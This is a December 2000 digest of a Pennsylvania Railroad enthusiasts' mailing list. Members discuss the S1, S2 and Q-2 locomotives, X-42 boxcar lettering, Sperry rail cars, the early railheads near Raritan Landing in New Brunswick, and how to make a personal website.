05/2001 / scheduled for 05/2001 :

7226    C-Liner A+B    Pennsylvania    dark green    #9448A, B    DM 237,00

/ $115,00

7227    C-Liner A+B    Pennsylvania    dark green    #9493A, B    DM 237,00

/ $115,00





2001 is gonna be a good year for PRR N scalers!

---------------------------------------------------------------------

Jerry Britton, SPF      jerry@pennsyrr.com     Member, PRRT&HS



"Merchandise Service", a division of Desktop Solutions of

Pennsylvania, Inc., is a reseller of model railroad and railroadiana

products. "MS" is also host to the web site "Keystone Crossings",

the domain PENNSYRR.COM, and the mailing lists "PRR-Talk", "Conrail-

Talk", and "Reading-Talk". When you purchase through "MS", you are

providing financial support to these Internet endeavors. Please visit

our eCommerce web site at http://merchandise.pennsyrr.com.

------------------------------Thank you!-----------------------------





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From: DWa9975062@aol.com

Date: Sun, 24 Dec 2000 21:26:48 EST

Subject: [PRR] (no subject)



'Twas the night before Christmas 

And all through the house 

Ran the 15 grandchildren

And all I can say now is goodnight!



Happy Holidays to all

Merlin & Dayna







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From: STEVEGG1@aol.com

Date: Sun, 24 Dec 2000 23:28:29 EST

Subject: [PRR] PRR S1 and S2 steam turbine



Greetings all,

Can anyone give a brief history of the Pennsy S1 and S2 steam turbines. I 

know very little about them. Did they actually run in regular service and 

what did them in?? What advantage did they have?

Thanks and Merry Christmas

Steve



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!!NEXT MESSAGE!!
Date: Mon, 25 Dec 2000 00:01:42 -0800 (PST)

From: Doug Kisala <dougkisala@yahoo.com>

Subject: Re: [PRR] PRR S1 and S2 steam turbine



Steve, list,



The S1 was not a turbine.  She was an experimental

6-4-4-6 duplex engine.  PRR collaborated with the

steam builders of the time; the goal was to haul a

1000 ton train at 100 mph.  Like most duplexes she was

slippery when starting, but very, very fast; no

official speed records were broken, but like the later

T1, there are tales of hitting 120 mph.  The S1 was

built in 1939 and ran on the west end; from Fort

Wayne, Indiana, to Chicago (as did the later S2).  The

S1 was scrapped in 1949; apparently she did not run in

revenue service after 1945.  Too large for service on

most of the system, PRR applied some of what they

learned when building the smaller, but just as quick,

T1 duplexes (but not a great deal; they were largely

Baldwin designs with a belpaire firebox grafted on).



The S2 was a steam turbine, 6-8-6, with the turbine

geared directly to the driving axles.  She was

well-balanced, powerful, and fast.  What did her in

was astronomical steam consumption on starting, which

took the boiler pressure from 300 to 180, with

attendant thermal expansion/contraction issues, which

led to staybolt problems.  The engine was out of

service more than she was available for work.  She was

built in 1944, used sporadically until 1949, and

scrapped in 1952.  The S2 was also used mostly on the

west end.



Both engines had lots of horsepower and tractive

effort, but were done in by mechanical complexity and

the decision to dieselize.





--- STEVEGG1@aol.com wrote:

> Greetings all,

> Can anyone give a brief history of the Pennsy S1 and

> S2 steam turbines. I 

> know very little about them. Did they actually run

> in regular service and 

> what did them in?? What advantage did they have?

> Thanks and Merry Christmas

> Steve

> 





__________________________________________________

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!!NEXT MESSAGE!!
From: "Gregg Mahlkov" <mahlkov@gtcom.net>

Subject: Re: [PRR] PRR S1 and S2 steam turbine

Date: Mon, 25 Dec 2000 09:38:06 -0500



Steve, Doug, and list:



The S1, 6100,  was displayed at the New York World's Fair for the first two

years of its existence lettered for "American Railroads" as a supposed look

into the future. When the fair was over, it went into service between

Crestline, Ohio, (which had one of the few turntables on the PRR that could

handle its length) and Chicago. Much of the streamlining was stripped off.

There are some photographs of it in service post 1945 in Don Ball's "The

Pennsylvania Railroad - The 1940's and 1950"s".  As Doug said, it was a

duplex (four simple cylinders on a rigid frame) 6-4-4-6 with 84 inch drive

wheels.



The S2, 6200, not only consumed vast amounts of steam starting, it consumed

as much steam at slow speeds as it did at full speed. This is a problem with

all turbines, including UP's gas turbines, A turbine is most efficient as a

"flat-out" machine. The reverse turbine caused ALL types of problems. One

doesn't appreciate the importance of being able to back up until one misses

the water column by ten feet with a limited.



Gregg Mahlkov (wouldn't the sight of one today be a Christmas present!)



----- Original Message -----

From: "Doug Kisala" <dougkisala@yahoo.com>

To: <STEVEGG1@aol.com>; "PRR talk" <prr-talk@dsop.com>

Sent: Monday, December 25, 2000 3:01 AM

Subject: Re: [PRR] PRR S1 and S2 steam turbine





> Steve, list,

>

> The S1 was not a turbine.  She was an experimental

> 6-4-4-6 duplex engine.  PRR collaborated with the

> steam builders of the time; the goal was to haul a

> 1000 ton train at 100 mph.  Like most duplexes she was

> slippery when starting, but very, very fast; no

> official speed records were broken, but like the later

> T1, there are tales of hitting 120 mph.  The S1 was

> built in 1939 and ran on the west end; from Fort

> Wayne, Indiana, to Chicago (as did the later S2).  The

> S1 was scrapped in 1949; apparently she did not run in

> revenue service after 1945.  Too large for service on

> most of the system, PRR applied some of what they

> learned when building the smaller, but just as quick,

> T1 duplexes (but not a great deal; they were largely

> Baldwin designs with a belpaire firebox grafted on).

>

> The S2 was a steam turbine, 6-8-6, with the turbine

> geared directly to the driving axles.  She was

> well-balanced, powerful, and fast.  What did her in

> was astronomical steam consumption on starting, which

> took the boiler pressure from 300 to 180, with

> attendant thermal expansion/contraction issues, which

> led to staybolt problems.  The engine was out of

> service more than she was available for work.  She was

> built in 1944, used sporadically until 1949, and

> scrapped in 1952.  The S2 was also used mostly on the

> west end.

>

> Both engines had lots of horsepower and tractive

> effort, but were done in by mechanical complexity and

> the decision to dieselize.

>

>

> --- STEVEGG1@aol.com wrote:

> > Greetings all,

> > Can anyone give a brief history of the Pennsy S1 and

> > S2 steam turbines. I

> > know very little about them. Did they actually run

> > in regular service and

> > what did them in?? What advantage did they have?

> > Thanks and Merry Christmas

> > Steve

> >

>

>

> __________________________________________________

> Do You Yahoo!?

> Yahoo! Shopping - Thousands of Stores. Millions of Products.

> http://shopping.yahoo.com/

>

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>

>





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!!NEXT MESSAGE!!
From: mittner@webtv.net (Gary Mittner)

Date: Mon, 25 Dec 2000 11:19:02 -0500 (EST)

Subject: Re: [PRR] PRR S1 and S2 steam turbine



List,



    Speaking of the S1 and the Worlds Fair of 1939-41 era. Everyone may

know of the  S1 on display, but how many knew of the other S1 that seen

service at the fair? Yep! In the RailRoad Building I believe. It was the

Model Railroad Layout that featured O Scale (Outside Third Rail Pickup).

This layout was sponsored by many of the real Railroads. On this layout

was a model of the PRR S1. It was also lettered for the Americas

Railroad. Several years ago I had the privilege to see this Locomotive

in person. It still survives to this date. Although it has been updated

with 2 Large Can Motors it still retained its outside rail pickups. I

actually could have purchased the model but the price was too

prohibitive. It later sold to an unknown collector. The workmanship was

really well done. We first assumed that Raymond Lowey Industries had a

hand in building the model. We come to the conclusion it was built by

Harry Albrecht who was a  well known modeler and historian of the PRR.

If anyone has more info please share. Anyway, it was great to see this

loco survive after 60 some years. I did take photos of the model and

when ever I get a chance I will have them scanned. 



     Merry Christmas and Happy New Year to all......Gary









Come visit my PRR Pages.... Photos, Models, Historical Items, Art

Work!.......and MY NEW  K4s & G5s WEB PAGES>>>

http://homepages.go.com/~prrk4

..  http://homepages.go.com/~prrg5

and......

http://community.webtv.net/mittner/THEHOMEOFGARY...

http://community.webtv.net/mittner/PENNSYLVANIA





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From: VVA249@aol.com

Date: Mon, 25 Dec 2000 23:13:29 EST

Subject: [PRR] PRR S1 and S2 steam turbine



     I always found it interesting that Pennsy seemed to consider both the 

S-1 and S-2 a 6-8-6. By that reasoning, the shouldn't the T-1 (duplex drive 

4-4-4-4, or actually a 4-8-4) have been the R-2?

Happy Holidays!

Dick Ross

Cleveland



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!!NEXT MESSAGE!!
Date: Tue, 26 Dec 2000 02:18:49 -0500

Subject: [PRR] Raritan Landing Question

From: Michael Allen <ptrmgtsvc@juno.com>



A archaeologist acquaintance of mine has recently found gainful

employment on the Raritan Landing dig near Piscataway. This was a

community which existed at the head of the navigable waters of the

Raritan River across from New Brunswick until the mid 1880s. The village

existed primarily because it was as far upstream as sailing ocean going

vessels could navigate and the more efficient way to move cargo from New

York to New Brunswick in those days was by sailing ship. The dig itself

is in the area where a new entrance ramp for Rte 18 is going to be

constructed. This is up river from the PRR/Amtrak bridge near Rutger's

Stadium.[NOTE: the 1:25,000 view at Topozone shows the existing alignment

for Rte 18 crossing the Raritan down river from the Amtrak/PRR bridge

rather than up river from the Rutgers Campus. This is very incorrect.]



Looking at the area got me thinking, and eventually to pull out a copy of

Burgess & Kennedy CENTENNIAL HISTORY OF THE PENNSYLVANIA RAILROAD.



The Camden and Amboy was completed  "to a point three miles west of New

Brunswick" was completed Jan 1839. [p253] This is roughly somewhere

between the site of the Suydam Street station and Jersey Avenue, if it is

along the current main line.



Coming the other way the New Jersey Railroad and Transportation Co from

Jersey City made it to Newark in Sept 1834; to Elizabeth in Sept 1835; to

Rahway Jan 1836; and to New Brunswick in 1838 connecting with the C&A on

1 Jan 1839 [pp255-7] with through service being started 1840.



Now here is the kicker. They also place the NJRR&T on the East Bank of

the Raritan in July 1836 with through service to Philadelphia inaugurated

1 January 1839 [p258]



Cunningham's RAILROADS IN NEW JERSEY gives the opening of the Raritan

River Bridge opening for rail traffic in 1837. [p58] He places arrival in

Rahway as December 1835 and describes the passengers from the Inaugural

train to East Brunswick [now Highland Park?] walking across a wooden

wagon bridge to New Brunswick six months later. If the through service

involves crossing the river by some conveyance other than a train these

numbers are consistent with Burgess & Kennedy and the detail about the

wooden wagon bridge suggests an independent source.



What is clear is that there was a period of at least 6 months to two

years or more when there were two railroads with a river and possibly a

state legislature separating them 



The topography of the area and the alignment of the old Camp Kilmer yard

lend credence to the idea of a railhead on the east side of the river in

the vicinity of the village of Raritan Landing. This would also be a

reasonable site as there was already the infrastructure in place for

transloading cargo and passengers and a merchant class dealing with the

rural areas further up river. The completion of the railroad bridge would

have reduced the economic base for the village by eliminating the need

for passengers and freight to be transferred.



So, here are my questions:



Where on the east side of the of the Raritan was the NJRR&T railhead?



Where was the wooden wagon bridge cited in Cunningham?



Was there a railhead, albeit very short lived, at Raritan Landing prior

to the railroad  bridge opening? 



Was the bridge built by the C&A or the NJRR&T or was it a joint venture?



What were the arrangements to transfer freight and passengers between the

two companies from 1836 to 1840?



Did the Army run a temporary rail line down to the river from Camp Kilmer

during WWI? 



The NJDOT/Gannet-Flemming/John Milner Associates et cetera website for

the dig is: www.raritanlanding.com 



[This one is for fun, I'm curious]

Mike Allen





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From: Michael Allen <ptrmgtsvc@juno.com>

Date: Tue, 26 Dec 2000 02:18:49 -0500

Subject: [PRR-FAX] Raritan Landing Question



A archaeologist acquaintance of mine has recently found gainful

employment on the Raritan Landing dig near Piscataway. This was a

community which existed at the head of the navigable waters of the

Raritan River across from New Brunswick until the mid 1880s. The village

existed primarily because it was as far upstream as sailing ocean going

vessels could navigate and the more efficient way to move cargo from New

York to New Brunswick in those days was by sailing ship. The dig itself

is in the area where a new entrance ramp for Rte 18 is going to be

constructed. This is up river from the PRR/Amtrak bridge near Rutger's

Stadium.[NOTE: the 1:25,000 view at Topozone shows the existing alignment

for Rte 18 crossing the Raritan down river from the Amtrak/PRR bridge

rather than up river from the Rutgers Campus. This is very incorrect.]



Looking at the area got me thinking, and eventually to pull out a copy of

Burgess & Kennedy CENTENNIAL HISTORY OF THE PENNSYLVANIA RAILROAD.



The Camden and Amboy was completed  "to a point three miles west of New

Brunswick" was completed Jan 1839. [p253] This is roughly somewhere

between the site of the Suydam Street station and Jersey Avenue, if it is

along the current main line.



Coming the other way the New Jersey Railroad and Transportation Co from

Jersey City made it to Newark in Sept 1834; to Elizabeth in Sept 1835; to

Rahway Jan 1836; and to New Brunswick in 1838 connecting with the C&A on

1 Jan 1839 [pp255-7] with through service being started 1840.



Now here is the kicker. They also place the NJRR&T on the East Bank of

the Raritan in July 1836 with through service to Philadelphia inaugurated

1 January 1839 [p258]



Cunningham's RAILROADS IN NEW JERSEY gives the opening of the Raritan

River Bridge opening for rail traffic in 1837. [p58] He places arrival in

Rahway as December 1835 and describes the passengers from the Inaugural

train to East Brunswick [now Highland Park?] walking across a wooden

wagon bridge to New Brunswick six months later. If the through service

involves crossing the river by some conveyance other than a train these

numbers are consistent with Burgess & Kennedy and the detail about the

wooden wagon bridge suggests an independent source.



What is clear is that there was a period of at least 6 months to two

years or more when there were two railroads with a river and possibly a

state legislature separating them 



The topography of the area and the alignment of the old Camp Kilmer yard

lend credence to the idea of a railhead on the east side of the river in

the vicinity of the village of Raritan Landing. This would also be a

reasonable site as there was already the infrastructure in place for

transloading cargo and passengers and a merchant class dealing with the

rural areas further up river. The completion of the railroad bridge would

have reduced the economic base for the village by eliminating the need

for passengers and freight to be transferred.



So, here are my questions:



Where on the east side of the of the Raritan was the NJRR&T railhead?



Where was the wooden wagon bridge cited in Cunningham?



Was there a railhead, albeit very short lived, at Raritan Landing prior

to the railroad  bridge opening? 



Was the bridge built by the C&A or the NJRR&T or was it a joint venture?



What were the arrangements to transfer freight and passengers between the

two companies from 1836 to 1840?



Did the Army run a temporary rail line down to the river from Camp Kilmer

during WWI? 



The NJDOT/Gannet-Flemming/John Milner Associates et cetera website for

the dig is: www.raritanlanding.com 



[This one is for fun, I'm curious]

Mike Allen





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From: Ken Briers <Ken.Briers@parsons.com>

Date: Tue, 26 Dec 2000 15:14:07 +0000

Subject: Re[2]: [PRR] Re: [PRR-FAX] PRR Presidents car # 90



     This is a Congo Parlor Car, stainless steel, circa 1952, right?

     

     Ken Briers





______________________________ Reply Separator _________________________________

Subject: Re: [PRR] Re: [PRR-FAX] PRR Presidents car # 90

Author:  PRR@egroups.com at NetTalk

Date:    12/24/2000 8:11 AM





As an aside, for those of you who keep track of such things, Juniata 

Terminal just donated Car PRR 7504, ex-Wm.Penn, to the Us Army, Indiana 

National Guard at Camp Atterbury IN. The car will be converted into a 

museum car honoring W.W.A.It arrived at the base this past Thursday and 

will be set on a stationary piece of track. We acquired the car 15 years 

ago from a Mr. H. Frazier of Ruston LA.The car traveled to Indiana on a 

TTX low deck car. The trucks and underside accessories went in a gon.

     





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From: "Michael E. Hauk D.O." <dochauk@erie.net>

Subject: [PRR] Cal's Classics / Bill Caloroso

Date: Tue, 26 Dec 2000 13:54:36 -0500



In Caloroso's book on the Elmira Branch, the inside back cover blurb

mentions that Mr. Caloroso runs "Cal's Classics" which has photos of the

Elmira Branch and S&NY  for sale.



I was wondering if "Cal's Classics" is still in business. If so, does the

business have a website listing the available photos.





Thanks.



Mike H.





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Date: Tue, 26 Dec 2000 17:34:44 -0500

Subject: Re: [PRR] Cal's Classics / Bill Caloroso

From: Eugene Nowlan <ENowlan@stny.rr.com>



He appears in the Metacrawler white pages, no website or email address:



William E Caloroso 

1058 E River Rd

Nichols, NY 13812  

Phone: 607-699-3172









Gene,  



Eugene Nowlan



> From: "Michael E. Hauk D.O." <dochauk@erie.net>

> Date: Tue, 26 Dec 2000 13:54:36 -0500

> To: "PRR-Talk" <PRR-Talk@dsop.com>

> Subject: [PRR] Cal's Classics / Bill Caloroso

> 

> Caloroso





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!!NEXT MESSAGE!!
From: "Matthew J. Brown" <morven@byz.org>

Subject: Re: [PRR] PRR S1 and S2 steam turbine

Date: Tue, 26 Dec 2000 15:42:49 -0800



Gregg Mahlkov wrote:

> The S2, 6200, not only consumed vast amounts of steam starting, it

consumed

> as much steam at slow speeds as it did at full speed. This is a problem

with

> all turbines, including UP's gas turbines, A turbine is most efficient as

a

> "flat-out" machine. The reverse turbine caused ALL types of problems. One

> doesn't appreciate the importance of being able to back up until one

misses

> the water column by ten feet with a limited.



Was there anything particularly wrong about the reverse turbine except its

lower power (which obviously would have been a problem in the above

scenario!)?



The S2 would have been at a particular disadvantage in that it was a direct

drive turbine; turbines are best when run at constant speed.  I remember

someone on the steam-tech list saying that power station turbines will

sustain damage if run at even a few percent off rated speed under load.

Obviously the S2 turbine would have been designed to cope better than THAT

with changes in speed, but at an efficiency cost.  Turbine-electrics like

the N&W's Jawn Henry and the UP turbines had it easier, because the electric

transmission enables the turbine to run at its optimal speed at all times

... unfortunately, coal dust is conductive, and raised havoc with electrical

systems.



I've also heard it mentioned that the delicate turbines proved not up to the

rough conditions of locomotive use; shocks and jars did not do them much

good.



On the other hand, I the S2 is the only locomotive I know of with four

stacks; quite distinctive indeed!



-Matt







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From: "Andy Cich" <ajc5150@home.com>

Subject: [PRR] X-42 Lettering Revisited

Date: Tue, 26 Dec 2000 21:02:01 -0600



If you recall, there was a discussion a month or two ago regarding the

painting of the X-42 boxcars.  I mentioned that I had lettering arrangement

drawings on order from the PRRT&HS.  Well, those drawings arrived today.  I

received arrangement drawings for two schemes; the circle keystone scheme,

and the pinstripe scheme.



I'll start with some comments on the circle keystone scheme.  First, I'm

disappointed with this drawing, since it doesn't list any colors like most

lettering drawings.  I think the concensus from the previous discussion was

these cars were painted freight car color with white lettering.  While I

don't own any, I do have some photos of the Precision Scale HO cars.  The

lettering compares very well.  However, the dimensional data looks

different.  The PSC photos I have aren't very clear in the dimensional area,

but the number and relative length of the lines look different than those on

the drawing.



Another difference is the drawing I have was re-issued 4-20-1951 for the

addition of a stencil regarding the storage of the stanchions when not in

use.  The PSC car lacks this stencil, but I believe the PSC car represents

an as-built car.  (Maybe the dimensional data was revised at some point, but

my drawing doesn't mention anything about that.)



The stripes scheme drawing is the more interesting one.  First, the drawing

says "Issued 3-7-1951".  So that may help pinpoint when that single car was

painted in this scheme.  This drawing also has a color chart.  It says the

body was painted Tuscan Red.  Lettering on the ends was white, and lettering

and stripes on the sides was GOLD LEAF!  And even more interesting, it says

the roof was painted black.  The trucks and underframe are also specified

black.



The stripes were 1" wide, with 3/4" separating them.  The bottom edge of the

bottom stripe was 3' 1 3/4" from the bottom of the side.



If anyone has any questions, I can try to answer them.  Or if you would like

a copy of the drawings, they can be ordered from the PRRT&HS.





Andy Cich





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From: mittner@webtv.net (Gary Mittner)

Date: Tue, 26 Dec 2000 22:18:44 -0500 (EST)

Subject: Re: [PRR] X-42 Lettering Revisited



Andy, List,



    I was involved with the discussion several months ago. It sounds

like the Tuscan version X-42 is what I may lean towards when I get

around to doing my P Company X-42. It appears it will stand out quite

nicely rather than having another old freight car red color car on the

roster. I never heard or read before of the Black Roof on this car. I

assume if it was so printed on the drawing, it happened in real life?

hmmm, it will stand out even more.....Gary 









Come visit my PRR Pages.... Photos, Models, Historical Items, Art

Work!.......and MY NEW  K4s & G5s WEB PAGES>>>

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Date: Wed, 27 Dec 2000 08:08:30 -0500

From: ours <yunz@bellatlantic.net>

Subject: [PRR] Sperry Rail Service Car



A couple of weeks ago I remember someone asking about using a Sperry car

on their layout. I found a picture of Sperry car 115, the picture is

said to be from the 1930's. This photo can be found in The Pennsy in the

Steel City pg. 73, published by the PRRT&HS copyright 1996.





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!!NEXT MESSAGE!!
Date: Wed, 27 Dec 2000 09:05:56 -0500

Subject: Re: [PRR] Sperry Rail Service Car

From: Jerry Britton <jerry@pennsyrr.com>



On 12/27/00 8:08 AM, ours at (yunz@bellatlantic.net) wrote:



> A couple of weeks ago I remember someone asking about using a Sperry car

> on their layout. I found a picture of Sperry car 115, the picture is

> said to be from the 1930's. This photo can be found in The Pennsy in the

> Steel City pg. 73, published by the PRRT&HS copyright 1996.

> 

There is also video of one of the Sperry cars in the Digital Image Works

video "Pennsy Steam & Electric Years 1936-1952".

---------------------------------------------------------------------

Jerry Britton, SPF      jerry@pennsyrr.com     Member, PRRT&HS



"Merchandise Service", a division of Desktop Solutions of

Pennsylvania, Inc., is a reseller of model railroad and railroadiana

products. "MS" is also host to the web site "Keystone Crossings",

the domain PENNSYRR.COM, and the mailing lists "PRR-Talk", "Conrail-

Talk", and "Reading-Talk". When you purchase through "MS", you are

providing financial support to these Internet endeavors. Please visit

our eCommerce web site at http://merchandise.pennsyrr.com.

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From: "Bill Bigler" <wbigler@stny.rr.com>

Subject: Re: [PRR] PRR S1 and S2 steam turbine

Date: Wed, 27 Dec 2000 10:32:23 -0500



You referred to a "steam-tech" list.  Do you have contact/subscribe

information?  TIA.



Bill Bigler

Big Flats NY

Modeling PRR Renovo Div. WWII



-----Original Message-----

From: Matthew J. Brown <morven@byz.org>

To: PRR Talk List <prr-talk@dsop.com>

Date: Tuesday, December 26, 2000 6:47 PM

Subject: Re: [PRR] PRR S1 and S2 steam turbine





>Gregg Mahlkov wrote:

>> The S2, 6200, not only consumed vast amounts of steam starting, it

>consumed

>> as much steam at slow speeds as it did at full speed. This is a problem

>with

>> all turbines, including UP's gas turbines, A turbine is most efficient as

>a

>> "flat-out" machine. The reverse turbine caused ALL types of problems. One

>> doesn't appreciate the importance of being able to back up until one

>misses

>> the water column by ten feet with a limited.

>

>Was there anything particularly wrong about the reverse turbine except its

>lower power (which obviously would have been a problem in the above

>scenario!)?

>

>The S2 would have been at a particular disadvantage in that it was a direct

>drive turbine; turbines are best when run at constant speed.  I remember

>someone on the steam-tech list saying that power station turbines will

>sustain damage if run at even a few percent off rated speed under load.

>Obviously the S2 turbine would have been designed to cope better than THAT

>with changes in speed, but at an efficiency cost.  Turbine-electrics like

>the N&W's Jawn Henry and the UP turbines had it easier, because the

electric

>transmission enables the turbine to run at its optimal speed at all times

>... unfortunately, coal dust is conductive, and raised havoc with

electrical

>systems.

>

>I've also heard it mentioned that the delicate turbines proved not up to

the

>rough conditions of locomotive use; shocks and jars did not do them much

>good.

>

>On the other hand, I the S2 is the only locomotive I know of with four

>stacks; quite distinctive indeed!

>

>-Matt

>

>

>

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!!NEXT MESSAGE!!
From: "Bill Bigler" <wbigler@stny.rr.com>

Subject: [PRR] Q-2

Date: Wed, 27 Dec 2000 10:37:08 -0500



I'm intersted in information on the Q-2.  I believe the PRR had 26 of them.

Any performance or horsepower figures, or info on top speeds reached,

tonnage hauled at speed etc.  I always thought this should have been the

locomotive to hold the diesel at bay.  A good looker, too.  Basically a

4-10-4 with double cylinders.  TIA



Bill Bigler

Big Flats NY

Modeling PRR Renovo Div. WWII









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From: "Bill Bigler" <wbigler@stny.rr.com>

Subject: [PRR] CAD and Websites

Date: Wed, 27 Dec 2000 10:42:10 -0500



Jerry & List,



I'm intersted in having someone create and maintain a website for me.

Please send me info. and contacts with prices and details.  How long does it

take from the time I send you info until it's posted on the web page?



I'm also interested in paying someone to draw my layout-in-planning on CAD,

with updates as I work my way through the problems that are bound to occur.

Cost is a concern of course, but other details and requirements too would

help me.



TIA



Bill Bigler

Big Flats NY

Modeling PRR Renovo Div. WWII  (and about to move from the talking to the

doing step!)







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From: "Sam Vastano" <svastano@hotmail.com>

Subject: Re: [PRR] Q-2

Date: Wed, 27 Dec 2000 11:57:13 -0500



Try tthe Pennsy Power Books  1 2 & 3  Speaking of Pennsy Power 3 I got my 

reprinted copy yesterday.



Wow!



Sam Vastano







>From: "Bill Bigler" <wbigler@stny.rr.com>

>To: "PRR Talk List" <prr-talk@dsop.com>

>Subject: [PRR] Q-2

>Date: Wed, 27 Dec 2000 10:37:08 -0500

>

>I'm intersted in information on the Q-2.  I believe the PRR had 26 of them.

>Any performance or horsepower figures, or info on top speeds reached,

>tonnage hauled at speed etc.  I always thought this should have been the

>locomotive to hold the diesel at bay.  A good looker, too.  Basically a

>4-10-4 with double cylinders.  TIA

>

>Bill Bigler

>Big Flats NY

>Modeling PRR Renovo Div. WWII

>

>

>

>

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From: "Matthew J. Brown" <morven@byz.org>

Subject: Re: [PRR] PRR S1 and S2 steam turbine

Date: Wed, 27 Dec 2000 10:05:41 -0800



Bill Bigler wrote:

> You referred to a "steam-tech" list.  Do you have contact/subscribe

> information?  TIA.



It's an egroups list; go to http://www.egroups.com/group/steam_tech



-Matt







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From: "Matthew J. Brown" <morven@byz.org>

Subject: Re: [PRR] Q-2

Date: Wed, 27 Dec 2000 10:32:30 -0800



Bill Bigler writes:

> I'm intersted in information on the Q-2.  I believe the PRR had 26 of

them.

> Any performance or horsepower figures, or info on top speeds reached,

> tonnage hauled at speed etc.  I always thought this should have been the

> locomotive to hold the diesel at bay.  A good looker, too.  Basically a

> 4-10-4 with double cylinders.  TIA



The only book devoted to the Q-2 that I know of is E.T. Harley's "Pennsy Q

Class: Classic Power 5".  Seems to be pretty accurate, and has a good set of

drawings; probably, as mentioned by the author, good enough that you will no

longer be satisfied with the accuracy of any model produced of the Q-2!



On the Altoona test plant, the Q-2 produced 7,987 indicated horsepower; this

is greater than drawbar horsepower, because it doesn't take into account the

effort required to keep the locomotive moving.  This was at 57.4 mph.



Speed: the Q-2's official speed limit was 70 mph.  Past that, I'm not sure.



The Q-2's downfall was not that it wasn't better than anything else, but

that it wasn't better enough to justify its complexity.  The book says: "The

consensus of these people [PRR maintenance people] was that if the Q2 would

have significantly outperformed the J1 it might have been worth the effort,

but the locomotives were so close in actual performance that it was not

worth the extra cost".  Maintenance costs of the Q-2 appear to have been

about a third greater than a J-1 for the same work.  Since a J-1 was

recorded at 7000 ihp on the test plant, the difference is not THAT much

between them.



No indications on tonnage hauled, but there are pictures of it on 122 car

trains, but I have no idea of whether loaded or not.



The Q-2 suffered the same problem as many potential 'diesel beaters':

simplicity and reliability were steam's advantages, and most of these

locomotives sacrificed them for greater performance -- but then they were no

more reliable than a diesel.



The Q-2 also breached the PRR's long standing doctrine of producing

locomotives usable over the entire system; its giant size restricted it to

only a relatively small area that could accommodate its clearances, curve

restrictions and where it was able to be turned.



It was a glorious failure, though, not an ignominious one; doomed by its

economics and its timing, not its mechanicals.



-Matt









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!!NEXT MESSAGE!!
Date: Wed, 27 Dec 2000 14:00:49 -0500

From: "Michael A. Hmel" <michaelhmel@bigplanet.com>

Subject: [PRR] SPERRY RAIL CAR !



Hi list ,



in response to this listing



> A couple of weeks ago I remember someone asking about using a Sperry car

> on their layout. I found a picture of Sperry car 115, the picture is

> said to be from the 1930's. This photo can be found in The Pennsy in the

> Steel City pg. 73, published by the PRRT&HS copyright 1996.



I looked at my PRRT&HS " The Pennsy in the Steel City " book and the

pictured

SRS car is in no way the unit Walthers is producing . However SRS cars have

been

in the Pittsburgh region in the past ( PRR ) . The unit appears to be closer

to the late 50's

early 60's version instead of the 30's unit pictured in the PRRT&HS book .

Walthers

fails to put an exact era of the model which will cause many of us to pull

our hair out .



Mike  ( PRRT&HS member )





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!!NEXT MESSAGE!!
Date: Wed, 27 Dec 2000 13:14:02 -0600

From: "Colm Chomicky" <ccho@burnsmcd.com>

Subject: Re: [PRR] CAD and Websites



Bill,

It appears many listers have created and maintain their own webpages  If you are so inclined, it is fairly easy.  There are plenty of free webhosting services, and I recall one of the list members will host PRR sites at no cost -- you just do the elbow work of making the site. If you do choose a free web hosting site, it is best to find one that does not barrage your visitors with pop-up advertisements or advertizing banners.



No special software other than a text editor such as "notebook" is needed if you buy a basic book on HTML  (sounds intimidating, but it is very easy).  The main investment is a scanner or know where you can borrow one for photos you may wish to include.  With a little experimenting you can learn to compress file size of the photos.



I purchased a book entitled "HTML for the World Wide Web" by E. Castro for less than  $20 and within a day learned enough to create a basic site.   Some people may prefer to use web-design software, such as "Frontpage" etc. which requires little or no knowledge of HTML, but sometimes these programs can clutter the file with unnecessary code.



I consider myself a novice and I have one PRR site ( http://homepages.go.com/~prr1 ) displaying a collection of railroad passes from Renovo.  It took about 8 hours to do.  Most of the work was scanning the images.



I only risk is the once you start making webpages it can turn into another hobby.  the reward of seeing your own site is well worth it.



Colm Chomicky

Prairie Village, KS



>>> "Bill Bigler" <wbigler@stny.rr.com> 12/27/00 09:42AM >>>

Jerry & List,



I'm intersted in having someone create and maintain a website for me.

Please send me info. and contacts with prices and details.  How long does it

take from the time I send you info until it's posted on the web page?



I'm also interested in paying someone to draw my layout-in-planning on CAD,

with updates as I work my way through the problems that are bound to occur.

Cost is a concern of course, but other details and requirements too would

help me.



TIA



Bill Bigler

Big Flats NY

Modeling PRR Renovo Div. WWII  (and about to move from the talking to the

doing step!)







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!!NEXT MESSAGE!!
From: BBReynolds@aol.com

Date: Wed, 27 Dec 2000 14:28:33 EST

Subject: [PRR] Re: [PRR-FAX] Raritan Landing Question



In a message dated 12/26/2000 8:36:13 AM Eastern Standard Time, 

ptrmgtsvc@juno.com writes:



<SNIP introductory material>



Answering questions off the cuff, based on experience in surveying the Landing

Lane area as a civil engineering student at Rutgers (mid-1960's), intimate 

knowledge of the hydrology of the Raritan River (as a civil engineering 

historian, and as the

manager of the Rutgers crew), as part of the group which worked on the 

conveyance of Camp Kilmer to Rutgers, as a one-time partner in the ownership 

of the former Janeway wallpaper factory, and with a on-foot/on-bike knowledge 

of the New Brunswick area.



> Where on the east side of the of the Raritan was the NJRR&T railhead?



----A little background here: the Raritan at New Brunswick is at the upper 

reaches

of its current estuary, its valley being sixty to eighty feet below bluffs of 

the Brunswick formation on both sides of the river; the NJRR&T line from 

Newark was

laid out to cross the river as close as possible to the center of New 

Brunswick, and to the connection with the C&A branch being built from Dean's 

Pond, but also to be at a place where the bluffs on opposite sides of the 

river were closest together, to allow the shortest possible viaduct crossing 

of the river valley.  At the time the railroad was laid out, there were still 

questions as to the maximum grade which could be managed by adhesion engines, 

and a routing of the railroad down the bluffs to the

river, across on a low bridge and then up the bluffs into New Brunswick would 

have not been not considered prudent.  The place in line with the C&A where 

the bluffs come closest together is from the corner of George and Hamilton 

streets in New Brunswick to a place where the Mill Brook comes down to the 

river valley level on the Highland Park side; the railroad viaduct would 

connect these two points, and the railroad line would be aligned to run along 

the bluff east of Mill Brook to the Highland Park end of the viaduct.  O.K., 

so where was the NJRR&T railhead???  It was at the end of  North 8th Street 

in Highland Park (where Railroad Avenue may still be), the same place where 

grading would have to begin to meet a level viaduct from the New Brunswick 

side, and a fairly easy grade down to the river crossing at Albany Street.  

  

>  Where was the wooden wagon bridge cited in Cunningham?



---Albany Street, New Brunswick to Raritan Avenue, Highland Park; originally a

toll bridge build in 1794, one wagon wide; after the double-deck railroad 

bridge was

built in 1840, the Albany Steet bridge was pedestrian only toll-bridge until 

bought by the state in the early 1870's and replaced by an iron road bridge, 

later replaced in the 1890's by a stone arch bridge (still there under the 

current concrete).  The construction of a new, free, Albany Street bridge fit 

